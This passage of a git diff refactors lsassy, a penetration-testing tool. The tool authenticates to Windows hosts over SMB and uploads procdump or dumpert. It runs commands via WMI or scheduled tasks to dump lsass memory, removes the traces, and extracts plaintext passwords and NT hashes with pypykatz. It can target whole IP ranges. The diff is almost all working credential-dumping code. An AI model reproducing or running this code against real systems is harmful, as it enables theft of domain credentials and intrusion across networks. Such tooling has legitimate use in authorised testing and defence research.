self._log.debug("{}".format(command)) - exec_completed = False - while not exec_completed: - for exec_method in exec_methods: - try: - self._log.debug("Trying exec method : " + exec_method) - self.exec_methods[exec_method](self._conn, self._log).execute(commands) - self._log.debug("Exec method \"{}\" success !".format(exec_method)) - return True - except Exception as e: - self._log.warn("Exec method \"{}\" failed.".format(exec_method)) - self._log.debug("Error : {}".format(str(e))) - return RetCode(ERROR_WMI_NO_EXECUTE) + for exec_method in exec_methods: + try: + self._log.debug("Trying exec method : " + exec_method) + self._exec_methods[exec_method](self._conn, self._log).execute(commands) + self._log.debug("Exec method \"{}\" success !".format(exec_method)) + return RetCode(ERROR_SUCCESS) + except Exception as e: + self._log.warn("Exec method \"{}\" failed.".format(exec_method)) + self._log.debug("Error : {}".format(str(e))) + return RetCode(ERROR_PROCDUMP_NO_EXECUTE) def dumpert_dump(self, exec_methods=("wmi", "task")): """ @@ -223,6 +235,10 @@ def dumpert_dump(self, exec_methods=("wmi", "task")): if not self._dumpert_path: self._log.warn("dumpert path has not been provided") return RetCode(ERROR_DUMPERT_NOT_PROVIDED) + # Verify dumpert exists on host + if not os.path.exists(self._dumpert_path): + self._log.warn("{} does not exist.".format(self._dumpert_path)) + return RetCode(ERROR_DUMPERT_NOT_FOUND) # Upload dumpert self._log.debug('Copy {} to {}'.format(self._dumpert_path, self._tmp_dir)) @@ -231,8 +247,8 @@ def dumpert_dump(self, exec_methods=("wmi", "task")): self._conn.putFile(self._share, self._tmp_dir + self._dumpert, dumpert.read) except Exception as e: return RetCode(ERROR_DUMPERT_NOT_UPLOADED) - self.dumpert = True - + self._use_dumpert = True + self._remote_lsass_dump = "dumpert.dmp" # Dump lsass using PID commands = [ """cmd.exe /Q /c {}{}""".format( @@ -245,42 +261,55 @@ def dumpert_dump(self, exec_methods=("wmi", "task")): for command in commands: self._log.debug("{}".format(command)) - exec_completed = False - while not exec_completed: - for exec_method in exec_methods: - try: - self._log.debug("Trying exec method : " + exec_method) - self.exec_methods[exec_method](self._conn, self._log).execute(commands) - self._log.debug("Exec method \"{}\" success !".format(exec_method)) - return True - except Exception as e: - self._log.warn("Exec method \"{}\" failed.".format(exec_method)) - self._log.debug("Error : {}".format(str(e))) - return RetCode(ERROR_WMI_NO_EXECUTE) + for exec_method in exec_methods: + try: + self._log.debug("Trying exec method : " + exec_method) + self._exec_methods[exec_method](self._conn, self._log).execute(commands) + self._log.debug("Exec method \"{}\" success !".format(exec_method)) + return RetCode(ERROR_SUCCESS) + except Exception as e: + self._log.warn("Exec method \"{}\" failed.".format(exec_method)) + self._log.debug("Error : {}".format(str(e))) + return RetCode(ERROR_DUMPERT_NO_EXECUTE) def clean(self): + try: + self._ifile.close() + except Exception as e: + pass + try: self._conn.deleteFile(self._share, self._tmp_dir + self._remote_lsass_dump) - self._log.success('Deleted lsass dump') + except Exception as e: if "STATUS_OBJECT_NAME_NOT_FOUND" not in str(e): - self._log.error('Error deleting lsass dump') - self._log.debug("Error : {}".format(str(e))) - if self.procdump: + self._log.debug("Dump file \"{}\" wasn't removed. Error : {}".format( + self._tmp_dir + self._remote_lsass_dump, str(e)[:100] + "..." if len(str(e)) > 100 else str(e))) + try: + self._log.debug("Trying to reconnect ...") + self._conn.clean() + self._conn.login() + self._log.debug("Reconnected !") + self._conn.deleteFile(self._share, self._tmp_dir + self._remote_lsass_dump) + self._log.debug("Dump file \"{}\" was successfully removed !".format( + self._tmp_dir + self._remote_lsass_dump)) + except: + self._log.error("Dump file \"{}\" wasn't removed. An error occurred.".format(self._tmp_dir + self._remote_lsass_dump)) + lsassy_warn(self._log, RetCode(ERROR_DUMP_CLEANING, e)) + + if self._use_procdump: # Delete procdump.exe try: self._conn.deleteFile(self._share, self._tmp_dir + self._procdump) - self._log.success('Deleted procdump.exe') except Exception as e: - self._log.error('Error deleting procdump.exe') - self._log.debug("Error : {}".format(str(e))) + lsassy_warn(self._log, RetCode(ERROR_PROCDUMP_CLEANING, e)) - if self.dumpert: + if self._use_dumpert: # Delete dumpert.exe try: self._conn.deleteFile(self._share, self._tmp_dir + self._dumpert) - self._log.success('Deleted dumpert.exe') except Exception as e: - self._log.error('Error deleting dumpert.exe') - self._log.debug("Error : {}".format(str(e))) + lsassy_warn(self._log, RetCode(ERROR_DUMPERT_CLEANING, e)) + + return RetCode(ERROR_SUCCESS) diff --git a/lsassy/impacketconnection.py b/lsassy/modules/impacketconnection.py similarity index 50% rename from lsassy/impacketconnection.py rename to lsassy/modules/impacketconnection.py index f0096d5..35dff77 100644 --- a/lsassy/impacketconnection.py +++ b/lsassy/modules/impacketconnection.py @@ -4,101 +4,80 @@ # https://beta.hackndo.com [FR] # https://en.hackndo.com [EN] -import re -import sys import time from socket import getaddrinfo, gaierror from impacket.smb3structs import FILE_READ_DATA from impacket.smbconnection import SMBConnection, SessionError -from lsassy.log import Logger -from lsassy.defines import * +from lsassy.utils.defines import * +from lsassy.modules.logger import Logger class ImpacketConnection: - def __init__(self, conn=None, log=None): - self._log = log if log is not None else Logger() - self.hostname = "" - self.username = "" - self.domain_name = "" - self.password = "" - self.lmhash = "" - self.nthash = "" - self.conn = conn - - @staticmethod - def from_args(arg, log): - pattern = re.compile(r"^(?:(?P[a-zA-Z0-9._-]+)/)?(?P[^:/]+)(?::(?P.*))?@(?P[a-zA-Z0-9.-]+)$") - matches = pattern.search(arg.target) - if matches is None: - log.warn("{} is not valid. Expected format : [domain/]username[:password]@host".format(arg.target)) - return RetCode(ERROR_INVALID_FORMAT) - domain_name, username, password, hostname = matches.groups() - if matches.group("domain_name") is None: - domain_name = "." - if matches.group("password") is None and arg.hashes is None: - import getpass - password = getpass.getpass(prompt='Password: ') - - if arg.hashes is not None: - if ':' in arg.hashes: - lmhash, nthash = arg.hashes.split(':') - else: - lmhash = 'aad3b435b51404eeaad3b435b51404ee' - nthash = arg.hashes - else: - lmhash = '' - nthash = '' - return ImpacketConnection(log=log).login(hostname, domain_name, username, password, lmhash, nthash) - - def login(self, ip, domain_name, username, password, lmhash, nthash): + class Options: + def __init__(self, hostname="", domain_name="", username="", password="", lmhash="", nthash="", timeout=5): + self.hostname = hostname + self.domain_name = domain_name + self.username = username + self.password = password + self.lmhash = lmhash + self.nthash = nthash + self.timeout = timeout + + def __init__(self, options: Options): + self.options = options + self.hostname = options.hostname + self.domain_name = options.domain_name + self.username = options.username + self.password = options.password + self.lmhash = options.lmhash + self.nthash = options.nthash + self.timeout = options.timeout + self._log = Logger(self.hostname) + self._conn = None + + def get_logger(self): + return self._log + + def set_logger(self, logger): + self._log = logger + + def login(self): try: - ip = list({addr[-1][0] for addr in getaddrinfo(ip, 0, 0, 0, 0)})[0] + ip = list({addr[-1][0] for addr in getaddrinfo(self.hostname, 0, 0, 0, 0)})[0] + if ip != self.hostname: + self._log.debug("Host {} resolved to {}".format(self.hostname, ip)) except gaierror as e: return RetCode(ERROR_DNS_ERROR, e) - self.hostname = ip - self.domain_name = domain_name - self.username = username - self.password = password - self.lmhash = lmhash - self.nthash = nthash - try: - conn = SMBConnection(ip, ip) + self._conn = SMBConnection(ip, ip, timeout=self.timeout) except Exception as e: - return RetCode(ERROR_CONNEXION_ERROR, e) + return RetCode(ERROR_CONNECTION_ERROR, e) - username = username.split("@")[0] + username = self.username.split("@")[0] self._log.debug("Authenticating against {}".format(ip)) try: - conn.login(username, password, domain=domain_name, lmhash=lmhash, nthash=nthash, ntlmFallback=True) - self._log.success("Authenticated") + self._conn.login(username, self.password, domain=self.domain_name, lmhash=self.lmhash, nthash=self.nthash, ntlmFallback=True) except SessionError as e: - self._log.debug("Provided credentials : {}\\{}:{}".format(domain_name, username, password)) + self._log.debug("Provided credentials : {}\\{}:{}".format(self.domain_name, username, self.password)) return RetCode(ERROR_LOGIN_FAILURE, e) except Exception as e: return RetCode(ERROR_UNDEFINED, e) - self.conn = conn - return self + return RetCode(ERROR_SUCCESS) def connectTree(self, share_name): - return self.conn.connectTree(share_name) + return self._conn.connectTree(share_name) - def openFile(self, tid, fpath, timeout=10): + def openFile(self, tid, fpath, timeout: int = 3): self._log.debug("Opening file {}".format(fpath)) start = time.time() - try: - timeout = float(timeout) - except ValueError as e: - self._log.debug("Timeout value \"{}\" is not valid. Timeout set to 10".format(str(timeout))) - timeout = 10 while True: try: - fid = self.conn.openFile(tid, fpath, desiredAccess=FILE_READ_DATA) + fid = self._conn.openFile(tid, fpath, desiredAccess=FILE_READ_DATA) self._log.debug("File {} opened".format(fpath)) return fid except Exception as e: @@ -113,7 +92,7 @@ def openFile(self, tid, fpath, timeout=10): def queryInfo(self, tid, fid): while True: try: - info = self.conn.queryInfo(tid, fid) + info = self._conn.queryInfo(tid, fid) return info except Exception as e: if str(e).find('STATUS_SHARING_VIOLATION') >= 0: @@ -125,7 +104,7 @@ def queryInfo(self, tid, fid): def getFile(self, share_name, path_name, callback): while True: try: - self.conn.getFile(share_name, path_name, callback) + self._conn.getFile(share_name, path_name, callback) break except Exception as e: if str(e).find('STATUS_SHARING_VIOLATION') >= 0: @@ -137,7 +116,7 @@ def getFile(self, share_name, path_name, callback): def deleteFile(self, share_name, path_name): while True: try: - self.conn.deleteFile(share_name, path_name) + self._conn.deleteFile(share_name, path_name) self._log.debug("File {} deleted".format(path_name)) break except Exception as e: @@ -148,16 +127,19 @@ def deleteFile(self, share_name, path_name): def putFile(self, share_name, path_name, callback): try: - self.conn.putFile(share_name, path_name, callback) + self._conn.putFile(share_name, path_name, callback) self._log.debug("File {} uploaded".format(path_name)) except Exception as e: raise Exception("An error occured while uploading %s on %s share : %s" % (path_name, share_name, e)) def readFile(self, tid, fid, offset, size): - return self.conn.readFile(tid, fid, offset, size, singleCall=False) + return self._conn.readFile(tid, fid, offset, size, singleCall=False) def closeFile(self, tid, fid): - return self.conn.closeFile(tid, fid) + return self._conn.closeFile(tid, fid) + + def disconnectTree(self, tid): + return self._conn.disconnectTree(tid) def isadmin(self): try: @@ -167,4 +149,13 @@ def isadmin(self): return RetCode(ERROR_ACCESS_DENIED, e) def close(self): - self.conn.close() + if self._conn is not None: + self._log.debug("Closing Impacket connection") + self._conn.close() + + def clean(self): + try: + self.close() + return RetCode(ERROR_SUCCESS) + except Exception as e: + return RetCode(ERROR_CONNECTION_CLEANING, e) diff --git a/lsassy/impacketfile.py b/lsassy/modules/impacketfile.py similarity index 85% rename from lsassy/impacketfile.py rename to lsassy/modules/impacketfile.py index b5d9894..d90f886 100644 --- a/lsassy/impacketfile.py +++ b/lsassy/modules/impacketfile.py @@ -6,7 +6,7 @@ import re -from lsassy.defines import * +from lsassy.utils.defines import * class ImpacketFile: @@ -28,24 +28,32 @@ def __init__(self, connection, log): "buffer": "" } - def open(self, path, timeout=60): - share_name, fpath = self._parse_path(path) + def get_connection(self): + return self._conn + + def open(self, path, timeout=3): + try: + share_name, fpath = self._parse_path(path) + except Exception as e: + return RetCode(ERROR_PATH_FILE, e) + self._fpath = fpath try: self._tid = self._conn.connectTree(share_name) except Exception as e: + self.clean() return RetCode(ERROR_SHARE, e) try: self._fid = self._conn.openFile(self._tid, self._fpath, timeout=timeout) except Exception as e: + self.clean() return RetCode(ERROR_FILE, e) - self._fileInfo = self._conn.queryInfo(self._tid, self._fid) self._endOfFile = self._fileInfo.fields["EndOfFile"] return self def __exit__(self, exc_type, exc_val, exc_tb): - self._conn.close() + self.clean() def read(self, size): if size == 0: @@ -77,7 +85,9 @@ def read(self, size): return value[:size] def close(self): + self._log.debug("Closing Impacket file \"{}\"".format(self._fpath)) self._conn.closeFile(self._tid, self._fid) + self._conn.disconnectTree(self._tid) def seek(self, offset, whence=0): if whence == 0: @@ -95,6 +105,12 @@ def tell(self): def size(self): return self._endOfFile + def clean(self): + try: + self.close() + except Exception as e: + pass + @staticmethod def _parse_path(fpath): pattern = re.compile(r"^(?P[^/]+)(?P/(?:[^/]*/)*[^/]+)$") diff --git a/lsassy/modules/logger.py b/lsassy/modules/logger.py new file mode 100644 index 0000000..6a7b6e2 --- /dev/null +++ b/lsassy/modules/logger.py @@ -0,0 +1,56 @@ +# Author: +# Romain Bentz (pixis - @hackanddo) +# Website: +# https://beta.hackndo.com [FR] +# https://en.hackndo.com [EN] + +import sys + + +class Logger: + class Options: + def __init__(self, align=1, verbosity=0, quiet=False): + self.align = align + self.verbosity = verbosity + self.quiet = quiet + + def __init__(self, target="", options=Options()): + self._target = target + self._align = options.align + self._verbosity = options.verbosity + self._quiet = options.quiet + + def info(self, msg): + if not self._quiet: + if self._verbosity >= 1: + msg = "\n ".join(msg.split("\n")) + print("\033[1;34m[*]\033[0m [{}]{}{}".format(self._target, " "*self._align, msg)) + + def debug(self, msg): + if not self._quiet: + if self._verbosity >= 2: + msg = "\n ".join(msg.split("\n")) + print("\033[1;37m[*]\033[0m [{}]{}{}".format(self._target, " "*self._align, msg)) + + def warn(self, msg): + if not self._quiet: + if self._verbosity >= 1: + msg = "\n ".join(msg.split("\n")) + print("\033[1;33m[!]\033[0m [{}]{}{}".format(self._target, " "*self._align, msg)) + + def error(self, msg): + if not self._quiet: + msg = "\n ".join(msg.split("\n")) + print("\033[1;31m[X]\033[0m [{}]{}{}".format(self._target, " "*self._align, msg), file=sys.stderr) + + def success(self, msg): + if not self._quiet: + msg = "\n ".join(msg.split("\n")) + print("\033[1;32m[+]\033[0m [{}]{}{}".format(self._target, " "*self._align, msg)) + + def raw(self, msg): + print("{}".format(msg), end='') + + @staticmethod + def highlight(msg): + return "\033[1;33m{}\033[0m".format(msg) diff --git a/lsassy/modules/parser.py b/lsassy/modules/parser.py new file mode 100644 index 0000000..cd2832f --- /dev/null +++ b/lsassy/modules/parser.py @@ -0,0 +1,59 @@ +# Author: +# Romain Bentz (pixis - @hackanddo) +# Website: +# https://beta.hackndo.com [FR] +# https://en.hackndo.com [EN] + + + +from pypykatz.pypykatz import pypykatz + +from lsassy.utils.defines import * + + +class Parser: + class Options: + def __init__(self, raw=False): + self.raw = raw + + def __init__(self, dumpfile, options=Options()): + self._log = dumpfile.get_connection().get_logger() + self._dumpfile = dumpfile + self._raw = options.raw + self._credentials = [] + + def parse(self): + pypy_parse = pypykatz.parse_minidump_external(self._dumpfile) + self._dumpfile.close() + + ssps = ['msv_creds', 'wdigest_creds', 'ssp_creds', 'livessp_creds', 'kerberos_creds', 'credman_creds', 'tspkg_creds'] + for luid in pypy_parse.logon_sessions: + + for ssp in ssps: + for cred in getattr(pypy_parse.logon_sessions[luid], ssp, []): + domain = getattr(cred, "domainname", None) + username = getattr(cred, "username", None) + password = getattr(cred, "password", None) + LMHash = getattr(cred, "LMHash", None) + NThash = getattr(cred, "NThash", None) + if LMHash is not None: + LMHash = LMHash.hex() + if NThash is not None: + NThash = NThash.hex() + # Remove empty password, machine accounts and buggy entries + if self._raw: + self._credentials.append([ssp, domain, username, password, LMHash, NThash]) + elif (not all(v is None or v == '' for v in [password, LMHash, NThash]) + and username is not None + and not username.endswith('$') + and not username == ''): + self._credentials.append((ssp, domain, username, password, LMHash, NThash)) + return RetCode(ERROR_SUCCESS) + + def get_credentials(self): + return self._credentials + + def clean(self): + return RetCode(ERROR_SUCCESS) + + diff --git a/lsassy/modules/writer.py b/lsassy/modules/writer.py new file mode 100644 index 0000000..6dfb3f2 --- /dev/null +++ b/lsassy/modules/writer.py @@ -0,0 +1,126 @@ +# Author: +# Romain Bentz (pixis - @hackanddo) +# Website: +# https://beta.hackndo.com + +import json +from pathlib import Path + +from lsassy.utils.utils import * +from lsassy.modules.logger import Logger + + +class Writer: + class Options: + def __init__(self, format="pretty", output_file=None): + self.format = format + self.output_file = output_file + + def __init__(self, hostname, credentials, logger, options=Options()): + self._hostname = hostname + self._log = logger + self._credentials = credentials + self._format = options.format + self._file = options.output_file + + @staticmethod + def _decode(data): + """ + Ugly trick because of mixed content coming back from pypykatz + Can be either string, bytes, None + """ + try: + return data.decode('utf-8', 'backslashreplace') + except: + return data + + def write(self): + if self._file: + ret = self.write_file() + if not ret.success(): + lsassy_warn(self._log, ret) + else: + self._log.info("Credentials saved to {}".format(self._file)) + + if self._format == "json": + json_output = {} + for cred in self._credentials: + ssp, domain, username, password, lmhash, nthash = cred + + domain = Writer._decode(domain) + username = Writer._decode(username) + password = Writer._decode(password) + + if domain not in json_output: + json_output[domain] = {} + if username not in json_output[domain]: + json_output[domain][username] = [] + credential = { + "password": password, + "lmhash": lmhash, + "nthash": nthash + } + if credential not in json_output[domain][username]: + json_output[domain][username].append(credential) + print(json.dumps(json_output), end='') + elif self._format == "grep": + credentials = set() + for cred in self._credentials: + credentials.add('\t'.join([Writer._decode(c) if c is not None else '' for c in cred])) + for cred in credentials: + print(cred) + elif self._format == "pretty": + if len(self._credentials) == 0: + self._log.warn('No credentials found') + return RetCode(ERROR_NO_CREDENTIAL_FOUND) + + max_size = max(len(c[1]) + len(c[2]) for c in self._credentials) + credentials = [] + for cred in self._credentials: + ssp, domain, username, password, lmhash, nthash = cred + domain = Writer._decode(domain) + username = Writer._decode(username) + password = Writer._decode(password) + if password is None: + password = ':'.join(h for h in [lmhash, nthash] if h is not None) + if [domain, username, password] not in credentials: + credentials.append([domain, username, password]) + self._log.success( + "{}\\{}{}{}".format( + domain, + username, + " " * (max_size - len(domain) - len(username) + 2), + Logger.highlight(password)) + ) + + elif self._format == "none": + pass + else: + return RetCode(ERROR_OUTPUT_FORMAT_INVALID, Exception("Output format {} is not valid".format(self._format))) + + return RetCode(ERROR_SUCCESS) + + def write_file(self): + path = Path(self._file).parent + if not os.path.isdir(path): + return RetCode(ERROR_OUTPUT_DIR_NOT_EXIST, Exception("Directory {} does not exist".format(path))) + + with open(self._file, 'a+') as f: + credentials = [] + for cred in self._credentials: + ssp, domain, username, password, lmhash, nthash = cred + domain = Writer._decode(domain) + username = Writer._decode(username) + password = Writer._decode(password) + if [domain, username, password, lmhash, nthash] not in credentials: + credentials.append([domain, username, password, lmhash, nthash]) + f.write( + "{}\t{}\\{}\t{}\t{}\n".format( + self._hostname, + domain, + username, + password if password is not None else "", + (lmhash if lmhash is not None else "") + ":" + nthash if nthash is not None else "" if lmhash or nthash else "" + ) + ) + return RetCode(ERROR_SUCCESS) diff --git a/lsassy/parser.py b/lsassy/parser.py deleted file mode 100644 index 142aa33..0000000 --- a/lsassy/parser.py +++ /dev/null @@ -1,105 +0,0 @@ -# Author: -# Romain Bentz (pixis - @hackanddo) -# Website: -# https://beta.hackndo.com [FR] -# https://en.hackndo.com [EN] - -import json - -from lsassy.log import Logger -from lsassy.defines import * - - -class Parser: - def __init__(self, pypydump, log): - self._pypydump = pypydump - self._log = log - self._credentials = [] - - def _parse(self, raw=False): - ssps = ['msv_creds', 'wdigest_creds', 'ssp_creds', 'livessp_creds', 'kerberos_creds', 'credman_creds', 'tspkg_creds'] - for luid in self._pypydump.logon_sessions: - - for ssp in ssps: - for cred in getattr(self._pypydump.logon_sessions[luid], ssp, []): - domain = getattr(cred, "domainname", None) - username = getattr(cred, "username", None) - password = getattr(cred, "password", None) - LMHash = getattr(cred, "LMHash", None) - NThash = getattr(cred, "NThash", None) - if LMHash is not None: - LMHash = LMHash.hex() - if NThash is not None: - NThash = NThash.hex() - # Remove empty password, machine accounts and buggy entries - if raw: - self._credentials.append([ssp, domain, username, password, LMHash, NThash]) - elif (not all(v is None or v == '' for v in [password, LMHash, NThash]) - and username is not None - and not username.endswith('$') - and not username == ''): - self._credentials.append((ssp, domain, username, password, LMHash, NThash)) - - def _decode(self, data): - """ - Ugly trick because of mixed content coming back from pypykatz - Can be either string, bytes, None - """ - try: - return data.decode('utf-8', 'backslashreplace') - except: - return data - - def output(self, args): - self._parse(args.raw) - if args.json: - json_output = {} - for cred in self._credentials: - ssp, domain, username, password, lhmash, nthash = cred - - domain = self._decode(domain) - username = self._decode(username) - password = self._decode(password) - - if domain not in json_output: - json_output[domain] = {} - if username not in json_output[domain]: - json_output[domain][username] = [] - credential = { - "password": password, - "lmhash": lhmash, - "nthash": nthash - } - if credential not in json_output[domain][username]: - json_output[domain][username].append(credential) - print(json.dumps(json_output), end='') - elif args.grep: - credentials = set() - for cred in self._credentials: - credentials.add(':'.join([self._decode(c) if c is not None else '' for c in cred])) - for cred in credentials: - print(cred) - else: - if len(self._credentials) == 0: - self._log.warn('No credentials found') - return RetCode(ERROR_NO_CREDENTIAL_FOUND) - - max_size = max(len(c[1]) + len(c[2]) for c in self._credentials) - credentials = [] - for cred in self._credentials: - ssp, domain, username, password, lhmash, nthash = cred - domain = self._decode(domain) - username = self._decode(username) - password = self._decode(password) - if password is None: - password = ':'.join(h for h in [lhmash, nthash] if h is not None) - if [domain, username, password] not in credentials: - credentials.append([domain, username, password]) - self._log.success( - "{}\\{}{}{}".format( - domain, - username, - " " * (max_size - len(domain) - len(username) + 2), - Logger.highlight(password)), - force=True - ) diff --git a/lsassy/utils.py b/lsassy/utils.py deleted file mode 100644 index 5d5db73..0000000 --- a/lsassy/utils.py +++ /dev/null @@ -1,14 +0,0 @@ -# Author: -# Romain Bentz (pixis - @hackanddo) -# Website: -# https://beta.hackndo.com - -import sys - - -def lsassy_exit(logger, error): - if error.error_msg: - logger.error(error.error_msg) - if error.error_exception: - logger.debug("Error : {}".format(error.error_exception)) - sys.exit(error.error_code) diff --git a/lsassy/utils/__init__.py b/lsassy/utils/__init__.py new file mode 100644 index 0000000..1653cd1 --- /dev/null +++ b/lsassy/utils/__init__.py @@ -0,0 +1,5 @@ +# Author: +# Romain Bentz (pixis - @hackanddo) +# Website: +# https://beta.hackndo.com + diff --git a/lsassy/utils/defines.py b/lsassy/utils/defines.py new file mode 100644 index 0000000..c0fd9ff --- /dev/null +++ b/lsassy/utils/defines.py @@ -0,0 +1,70 @@ +# Author: +# Romain Bentz (pixis - @hackanddo) +# Website: +# https://beta.hackndo.com + +ERROR_SUCCESS = (0, "") +ERROR_NO_CREDENTIAL_FOUND = (0, "Procdump could not be uploaded") + +ERROR_MISSING_ARGUMENTS = (1, "") +ERROR_CONNECTION_ERROR = (2, "Connection error") +ERROR_ACCESS_DENIED = (3, "Access denied. Administrative rights on remote host are required") +ERROR_METHOD_NOT_SUPPORTED = (4, "Method not supported") +ERROR_LSASS_PROTECTED = (5, "Lsass is protected") +ERROR_SLOW_TARGET = (6, "Either lsass is protected or target might be slow. Try to increase --timeout") +ERROR_LSASS_DUMP_NOT_FOUND = (7, "lsass dump file does not exist. Use --debug flag for more details") +ERROR_USER_INTERRUPTION = (8, "lsassy has been interrupted") +ERROR_PATH_FILE = (9, "Invalid path") +ERROR_SHARE = (10, "Error opening share") +ERROR_FILE = (11, "Error opening file") +ERROR_INVALID_FORMAT = (12, "Invalid format") +ERROR_DNS_ERROR = (13, "No DNS found to resolve this hostname") +ERROR_LOGIN_FAILURE = (14, "Authentication error") +ERROR_PROCDUMP_NOT_FOUND = (15, "Procdump path is not valid") +ERROR_PROCDUMP_NOT_PROVIDED = (16, "Procdump was not provided") +ERROR_PROCDUMP_NOT_UPLOADED = (17, "Procdump could not be uploaded") +ERROR_DLL_NO_EXECUTE = (18, "Could not execute commands on remote host via DLL method") +ERROR_PROCDUMP_NO_EXECUTE = (19, "Could not execute commands on remote host via Procdump method") +ERROR_DUMPERT_NO_EXECUTE = (20, "Could not execute commands on remote host via Dumpert method") +ERROR_DUMPERT_NOT_FOUND = (21, "dumpert path is not valid") +ERROR_DUMPERT_NOT_PROVIDED = (22, "dumpert was not provided") +ERROR_DUMPERT_NOT_UPLOADED = (23, "dumpert could not be uploaded") +ERROR_OUTPUT_FORMAT_INVALID = (24, "Output format is not valid") +ERROR_OUTPUT_DIR_NOT_EXIST = (25, "Output directory does not exist") + +# Cleaning errors +ERROR_DUMP_CLEANING = (100, "Error while cleaning lsass dump") +ERROR_PROCDUMP_CLEANING = (101, "Error while cleaning procdump") +ERROR_DUMPERT_CLEANING = (102, "Error while cleaning dumpert") +ERROR_CONNECTION_CLEANING = (103, "Error while cleaning connection") + +ERROR_UNDEFINED = (-1, "Unknown error") + + +class RetCode: + def __init__(self, error, exception=None): + self.error_code = error[0] + self.error_msg = error[1] + self.error_exception = exception + + def success(self): + return self.error_code == 0 + + def __str__(self): + return "{} : {}".format(self.error_code, self.error_msg) + + def __eq__(self, other): + if isinstance(other, RetCode): + return self.error_code == other.error_code + elif isinstance(other, int): + return self.error_code == other + return NotImplemented + + def __ne__(self, other): + x = self.__eq__(other) + if x is not NotImplemented: + return not x + return NotImplemented + + def __hash__(self): + return hash(tuple(sorted(self.__dict__.items()))) diff --git a/lsassy/utils/utils.py b/lsassy/utils/utils.py new file mode 100644 index 0000000..4a0f833 --- /dev/null +++ b/lsassy/utils/utils.py @@ -0,0 +1,151 @@ +# Author: +# Romain Bentz (pixis - @hackanddo) +# Website: +# https://beta.hackndo.com + +import os +import sys +import argparse + +import pkg_resources +from netaddr import IPAddress, IPRange, IPNetwork, AddrFormatError + +from lsassy.utils.defines import * + +version = pkg_resources.require("lsassy")[0].version + + +def get_args(): + examples = '''example: + lsassy -d adsec.local -u pixis -p p4ssw0rd 192.168.1.0/24 + ''' + + parser = argparse.ArgumentParser( + prog="lsassy", + description='lsassy v{} - Remote lsass dump reader'.format(version), + epilog=examples, + formatter_class=argparse.RawTextHelpFormatter + ) + + group_dump = parser.add_argument_group('dump') + group_dump.add_argument('-m', '--method', action='store', default=1, type=int, help='''Dumping method + 0: Try all methods (dll then procdump then dumpert) to dump lsass, stop on success (Requires -p if dll method fails, -u if procdump method fails) + 1: comsvcs.dll method, stop on success (default) + 2: Procdump method, stop on success (Requires -p) + 3: comsvcs.dll + Powershell method, stop on success + 4: comsvcs.dll + cmd.exe method + 5: (unsafe) dumpert method, stop on success (Requires -u)''') + group_dump.add_argument('--dumpname', action='store', help='Name given to lsass dump (Default: Random)') + group_dump.add_argument('--procdump', action='store', help='Procdump path') + group_dump.add_argument('--dumpert', action='store', help='dumpert path') + group_dump.add_argument('--timeout', default=3, type=int, action='store', + help='Timeout before considering lsass was not dumped successfully') + + group_auth = parser.add_argument_group('authentication') + group_auth.add_argument('-u', '--username', action='store', help='Username') + group_auth.add_argument('-p', '--password', action='store', help='Plaintext password') + group_auth.add_argument('-d', '--domain', default="", action='store', help='Domain name') + group_auth.add_argument('-H', '--hashes', action='store', help='[LM:]NT hash') + + group_out = parser.add_argument_group('output') + group_out.add_argument('-o', '--outfile', action='store', help='Output credentials to file') + group_out.add_argument('-f', '--format', choices=["pretty", "json", "grep", "none"], action='store', default="pretty", help='Output format (Default pretty)') + + parser.add_argument('-r', '--raw', action='store_true', + help='No basic result filtering (Display host credentials, duplicates and empty pass)') + parser.add_argument('-v', action='count', default=0, help='Verbosity level (-v or -vv)') + parser.add_argument('-q', '--quiet', action='store_true', help='Quiet mode, only display credentials') + parser.add_argument('-V', '--version', action='version', version='%(prog)s (version {})'.format(version)) + parser.add_argument('target', nargs='*', type=str, action='store', help='The target IP(s), range(s), CIDR(s), hostname(s), FQDN(s), file(s) containing a list of targets') + + if len(sys.argv) == 1: + parser.print_help() + sys.exit(RetCode(ERROR_MISSING_ARGUMENTS).error_code) + + return parser.parse_args() + + +def lsassy_exit(logger, error): + if error.error_msg: + logger.error(error.error_msg) + if error.error_exception: + logger.debug("Error : {}".format(error.error_exception)) + + +def lsassy_warn(logger, error): + if error.error_msg: + logger.warn(error.error_msg) + if error.error_exception: + logger.debug("Error : {}".format(error.error_exception)) + + +def is_valid_ip(ip): + ip = ip.split(".") + if len(ip) != 4: + return False + return all([0 <= int(t) <= 255 for t in ip]) + + +def get_log_max_spaces(targets): + return max(len(t) for t in targets) + 4 + + +def get_log_spaces(target, spaces): + return spaces - len(target) + + +def parse_targets(target): + if '-' in target: + ip_range = target.split('-') + try: + t = IPRange(ip_range[0], ip_range[1]) + except AddrFormatError: + try: + start_ip = IPAddress(ip_range[0]) + + start_ip_words = list(start_ip.words) + start_ip_words[-1] = ip_range[1] + start_ip_words = [str(v) for v in start_ip_words] + + end_ip = IPAddress('.'.join(start_ip_words)) + + t = IPRange(start_ip, end_ip) + except AddrFormatError: + t = target + else: + try: + t = IPNetwork(target) + except AddrFormatError: + t = target + if type(t) == IPNetwork or type(t) == IPRange: + return list(t) + else: + return [t.strip()] + + +def get_targets(targets): + ret_targets = [] + for target in targets: + if os.path.exists(target): + with open(target, 'r') as target_file: + for target_entry in target_file: + ret_targets += parse_targets(target_entry) + else: + ret_targets += parse_targets(target) + return [str(ip) for ip in ret_targets] + + +def join_jobs(jobs): + for job in jobs: + try: + job.join() + except Exception as e: + pass + + +def terminate_jobs(jobs): + for job in jobs: + try: + job.terminate() + except Exception as e: + pass \ No newline at end of file diff --git a/requirements.txt b/requirements.txt index bd16839..27be7e7 100644 --- a/requirements.txt +++ b/requirements.txt @@ -1,2 +1,3 @@ impacket +netaddr pypykatz>=0.3.0 diff --git a/setup.py b/setup.py index 9baefeb..94e51c8 100644 --- a/setup.py +++ b/setup.py @@ -13,7 +13,7 @@ setup( name="lsassy", - version="1.1.7", + version="2.0.0", author="Pixis", author_email="hackndo@gmail.com", description="Python library to parse remote lsass dumps", @@ -39,7 +39,8 @@ ), entry_points={ 'console_scripts': [ - 'lsassy = lsassy.__main__:run', + 'lsassy = lsassy.core:run', ], - } + }, + test_suite='tests.tests' ) diff --git a/test/share/lsass.dmp b/test/share/lsass.dmp deleted file mode 100644 index a38fd81..0000000 Binary files a/test/share/lsass.dmp and /dev/null differ diff --git a/test/tests.config.sh.tpl b/test/tests.config.sh.tpl deleted file mode 100644 index dfb98de..0000000 --- a/test/tests.config.sh.tpl +++ /dev/null @@ -1,20 +0,0 @@ -# COPY THIS FILE TO ./test.config.sh BEFORE USING tests_dev.sh - -# User with admin rights on IP_OK -DOMAIN_ADMIN="domain/Administrator:P4ssw0rd" - -# User without admin rights on IP_OK 